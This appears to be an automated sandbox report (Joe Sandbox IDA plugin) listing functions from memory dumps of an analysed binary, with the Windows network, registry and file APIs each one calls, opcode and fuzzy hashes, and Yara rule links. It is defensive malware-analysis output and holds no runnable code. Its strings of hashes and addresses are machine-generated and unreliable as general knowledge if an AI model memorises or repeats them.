Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 4fcef22a307e62568974499a27ed1cb9c30e986c0767360783a71fab0722abed
Instruction ID: 8f53e3582a1450f2f10cf53663ce52f8e4eaa1c757a24fee7bcde662435e6455
Opcode Fuzzy Hash: 4fcef22a307e62568974499a27ed1cb9c30e986c0767360783a71fab0722abed
Instruction Fuzzy Hash: 9CD06776144608EFCB019F84D944EA57BA5FB08329F6480ADFA1C0A562C733E872EF90

Function 5F51FE51 Relevance: 1.5, APIs: 1, Instructions: 14networkCOMMON

Download Yara Rule

APIs

connect.WS2_32(?,00000000,00000000), ref: 5F51FE6A

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: connect
String ID:
API String ID: 1959786783-0
Opcode ID: 926187ac5a768dfc7ba6eef1fa979f73ea246c7965efa778360cda5d03b9ceea
Instruction ID: 225c2565de0317295ab547d83267ca8c475e89a507779f36d0975a0d64f44597
Opcode Fuzzy Hash: 926187ac5a768dfc7ba6eef1fa979f73ea246c7965efa778360cda5d03b9ceea
Instruction Fuzzy Hash: 2CD0627A204101DFC7055B54C5549997BA1BF5D325F24469DF15D8A1B2C732D8A6DF00

Function 5F516CFE Relevance: 1.5, APIs: 1, Instructions: 14registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.KERNEL32(?,00000000,5F4F5DF0,ieproxy), ref: 5F516D11

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: DeleteValue
String ID:
API String ID: 1108222502-0
Opcode ID: dd2d9777b24a0c6f347c5d23e6f62a53430ae409872a38b2b319c8941bbe2dc0
Instruction ID: 8dc6fe8510e0b5bf1a6ba96ec8a46e262f53999b5ae6d5a155c6855689396808
Opcode Fuzzy Hash: dd2d9777b24a0c6f347c5d23e6f62a53430ae409872a38b2b319c8941bbe2dc0
Instruction Fuzzy Hash: 66D012B1754209ABEB005A34CA08F66BBE9EB55706F10CD3DB08AC3091D771F429D621

Function 0017DEB6 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?), ref: 0017DEBA

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5942e883f49f3cf63ffb1797ec0f125b230331d813c8c6ff96fc29deabed8677
Instruction ID: a7622c836458591e9fb3817f71ac585fad36e6de1c130462f8a8a4d9db52e083
Opcode Fuzzy Hash: 5942e883f49f3cf63ffb1797ec0f125b230331d813c8c6ff96fc29deabed8677
Instruction Fuzzy Hash: 51C08C32221005074E401634AD060A633E2DA62B31FA08F94F0A5C70E1CF20880A2A00

Function 001D6B56 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000002,00198D5A,00000000,?,001D6919,FFFFFEE2,00000002,?,00000000,00000000,00000748,001D6A2D,?,00000000,00000000), ref: 001D6B71

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 359eb2d934473a5a692026cc4f5dc6801889693d6b378392d1d50beaeebd494c
Instruction ID: db47f4cbbfc79bd7db9ea1b2a4d01ec2014d4b0d13ff9abd25c63c306206a462
Opcode Fuzzy Hash: 359eb2d934473a5a692026cc4f5dc6801889693d6b378392d1d50beaeebd494c
Instruction Fuzzy Hash: D8C01231208700BADE111BA09D05F6ABE61BBA0724F22CA17B5A8D41F0DB72C821EB01

Function 5F51FF58 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,00000000,00000000,00000000,00000000), ref: 5F51FF6B

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 7f9a141d265e18b9c4a585a7a5e599796d3be3d0ec573dc3838595ade4a2bead
Instruction ID: defe2600084285e1c07b4cd5912418ba8bde4f23340c48e6fcd97add7688c9f7
Opcode Fuzzy Hash: 7f9a141d265e18b9c4a585a7a5e599796d3be3d0ec573dc3838595ade4a2bead
Instruction Fuzzy Hash: 21D0E93B114101BFCB064B648D5584EBBA6AF89731F14CA1DF1BA850A1D732C475FB01

Function 5F4EAF8A Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(000000FF,5F4FFE4F,?,00000001,00000000,00000000,00000000,000000FF,00000001,5F5BC288,00000000), ref: 5F4EAF8E

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d66c44f1dfe108996bcbe3306bfa83bd6934beff05c9bd1674fdad39509e1524
Instruction ID: f7b34d5c8b9b6fe109248e27ab433b958f140813774b6d00e74e1afb4bbd8fe5
Opcode Fuzzy Hash: d66c44f1dfe108996bcbe3306bfa83bd6934beff05c9bd1674fdad39509e1524
Instruction Fuzzy Hash: 32C09BF151150059DB041734CD054D977919B8113BF511F64F5FBD11E5F73098577505

Function 5F4DD55B Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 5F4DD562

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: _wcslen
String ID:
API String ID: 176396367-0
Opcode ID: 194c73b0549b6e96b3488b5d9baabecc9fefa26f4ada6e88ffcff381e67bc41f
Instruction ID: 98ffd5aeb5739e6312efa5cebdb12c32113424aa7816548110db1befb7127e6f
Opcode Fuzzy Hash: 194c73b0549b6e96b3488b5d9baabecc9fefa26f4ada6e88ffcff381e67bc41f
Instruction Fuzzy Hash: 53C08CB20063202A462512609C1086FAE55CF90130B01881FBC44012A099369CD1C0D1

Function 001EAD5E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 001EAD6B

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
Instruction ID: 1140de0742ddde2c8e119d5a11fe3d5d30702701da57c9ff614d30587d56cb11
Opcode Fuzzy Hash: d1a4d26266dcb7911ef956bf4afcad96e19892d5a9e8770749e386b2bd63db79
Instruction Fuzzy Hash: 64C09B7244014C77CF111D43DC02E493F199BD0760F544010FB1C1E161E673E5619685

Function 00183D10 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(?,00000080), ref: 00183D18

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 752e94e4e9ce08bf8ce78c9ce9817768532e67bee415eff97e7126206aeeaba3
Instruction ID: 9f7cb08ecf0300e24446d3c704be1bc3c3638f1ef9f496eeebcce881965b4169
Opcode Fuzzy Hash: 752e94e4e9ce08bf8ce78c9ce9817768532e67bee415eff97e7126206aeeaba3
Instruction Fuzzy Hash: 6DC00236440148BBDF425F90EC09E9D7F22BB64750F04C015FA5808171DB3286B5EB40

Function 00183CA8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__read.LIBCMT ref: 00183CBE

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: __read
String ID:
API String ID: 1330306528-0
Opcode ID: 627988362cf98099db0abecbe1b77d65a3d091794f3f46832c121beea6ab4c39
Instruction ID: 210745b5a94d769c8c1335b3e1fef0cb28bb98c600da4545ce4019fd9744ce90
Opcode Fuzzy Hash: 627988362cf98099db0abecbe1b77d65a3d091794f3f46832c121beea6ab4c39
Instruction Fuzzy Hash: 9EC08C3A809240BFC7034750BC01A4EBBB1ABA2310F04C81AB8D801032EA324178E753

Function 5F51FEC7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,?,?), ref: 5F51FED2

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: 7ad8efbcd0818ce2f34e725ab4bc4fbc24b1d1210fe81b3a96e150172aba406e
Instruction ID: 4ae9a898d6eb13a4586f9cf2f621f40cc0f8d349738fef7c56ea77ecf1b1c887
Opcode Fuzzy Hash: 7ad8efbcd0818ce2f34e725ab4bc4fbc24b1d1210fe81b3a96e150172aba406e
Instruction Fuzzy Hash: DCC04C7B114101ABCB055B64CD5D88EBEA1BF59375B24C61DF16AC50F1D732C4B5EB01

Function 001B2E1E Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 001B2E30

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 36c62c47cb4205e2a17670ba39253104922a83b9cab5168fbf2d902b0b437c18
Instruction ID: 0efac8eb3058b8c57beff953e44f4f5868a7f63154b8b9815077d28a818e0ca6
Opcode Fuzzy Hash: 36c62c47cb4205e2a17670ba39253104922a83b9cab5168fbf2d902b0b437c18
Instruction Fuzzy Hash: 3BC0013A008240FFCE024B80DD08D0ABFB2BFA8325B11C858B2A848031C7338032EB02

Function 001A5E24 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 001A5E36

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 36c62c47cb4205e2a17670ba39253104922a83b9cab5168fbf2d902b0b437c18
Instruction ID: 0efac8eb3058b8c57beff953e44f4f5868a7f63154b8b9815077d28a818e0ca6
Opcode Fuzzy Hash: 36c62c47cb4205e2a17670ba39253104922a83b9cab5168fbf2d902b0b437c18
Instruction Fuzzy Hash: 3BC0013A008240FFCE024B80DD08D0ABFB2BFA8325B11C858B2A848031C7338032EB02

Function 001A3EE0 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 001A3EF2

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 36c62c47cb4205e2a17670ba39253104922a83b9cab5168fbf2d902b0b437c18
Instruction ID: 0efac8eb3058b8c57beff953e44f4f5868a7f63154b8b9815077d28a818e0ca6
Opcode Fuzzy Hash: 36c62c47cb4205e2a17670ba39253104922a83b9cab5168fbf2d902b0b437c18
Instruction Fuzzy Hash: 3BC0013A008240FFCE024B80DD08D0ABFB2BFA8325B11C858B2A848031C7338032EB02

Function 5F4DA564 Relevance: 1.5, APIs: 1, Instructions: 7threadCOMMON

Download Yara Rule

APIs

FreeLibraryAndExitThread.KERNEL32(5F4D0000,00000000,5F4DA86A), ref: 5F4DA570

Memory Dump Source

Source File: 00000007.00000002.4158634502.000000005F4D1000.00000020.00000001.01000000.00000010.sdmp, Offset: 5F4D0000, based on PE: true

Associated: 00000007.00000002.4158576782.000000005F4D0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158731034.000000005F54F000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F56F000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158786706.000000005F575000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F57A000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4158861183.000000005F5BC000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.4159004826.000000005F5BF000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_5f4d0000_inst.jbxd

Similarity

API ID: ExitFreeLibraryThread
String ID:
API String ID: 4122534561-0
Opcode ID: c67535aa9450a01f09a7612acc8ac36565b1b572ae05c3b7a0d565ee49a10629
Instruction ID: 3b7faedafc9e4c5c5c2f880be4ffc04261a737f2d9bd05a1d1e5bac6946f3a00
Opcode Fuzzy Hash: c67535aa9450a01f09a7612acc8ac36565b1b572ae05c3b7a0d565ee49a10629
Instruction Fuzzy Hash: E3B01270F00201A7EE108F348E2DF013EE8A7407B0F50C048F00AE7185D660E214CE34

Function 001967D0 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,000007E9,?,?), ref: 001967E0

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 5196a3d8cd1f542b65744f96bfd03cca7485a58f7d1beec94450ff3928d03acb
Instruction ID: 970c5237e4089ba340d7082bb97f71645971797314224eadc7b4c5ea6a9d7ae0
Opcode Fuzzy Hash: 5196a3d8cd1f542b65744f96bfd03cca7485a58f7d1beec94450ff3928d03acb
Instruction Fuzzy Hash: 07B0923A909241BFCE029B60DD0AC8EBE72BBA8384F81C449B28804070C63280B0EF02

Function 00183CED Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

__locking.LIBCMT ref: 00183CF9

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: __locking
String ID:
API String ID: 793501599-0
Opcode ID: 8de71eea63014ef0e9bc0fb451592f828a1a23cc2667e30a76acf752c6adc1a6
Instruction ID: 5750712f005d01e7a09000dca6e296e134b445f682364913d3d976592795036f
Opcode Fuzzy Hash: 8de71eea63014ef0e9bc0fb451592f828a1a23cc2667e30a76acf752c6adc1a6
Instruction Fuzzy Hash: B7B0027A408640BECA025B51AC55D1EBBA2ABA8720F54C959B5A800121D7329574EB53

Function 001A6959 Relevance: 1.3, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,001A69EF,001A68D3,00000000,00000000,00000001,00000000,00000000,?,00000000,00000000,?,001A74F6,?,&pid=), ref: 001A696A

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138919927.0000000000246000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.0000000000250000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4139907799.000000000053D000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_160000_inst.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 1886c90c142b1fcf5bbc5cd801cad02c32adb754f7e13c88d15268c66bb94fbb
Instruction ID: 7b7889f595e32e4982ba64821cee7c5e9b2b7c41c3ceb6eec030331cc60e71c7
Opcode Fuzzy Hash: 1886c90c142b1fcf5bbc5cd801cad02c32adb754f7e13c88d15268c66bb94fbb
Instruction Fuzzy Hash: 19D05E710107118BC7308F24E90835276F8AF00B39F248A0CA5B6875D0C774D8408A50

Function 001829D7 Relevance: 1.3, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000018), ref: 001829E6

Memory Dump Source

Source File: 00000007.00000002.4138235490.0000000000161000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00160000, based on PE: true

Associated: 00000007.00000002.4138060161.0000000000160000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138601555.000000000021E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.4138770666.0000000000243000.00000008.00000001.01000000.0000000C.sdmpDownload File
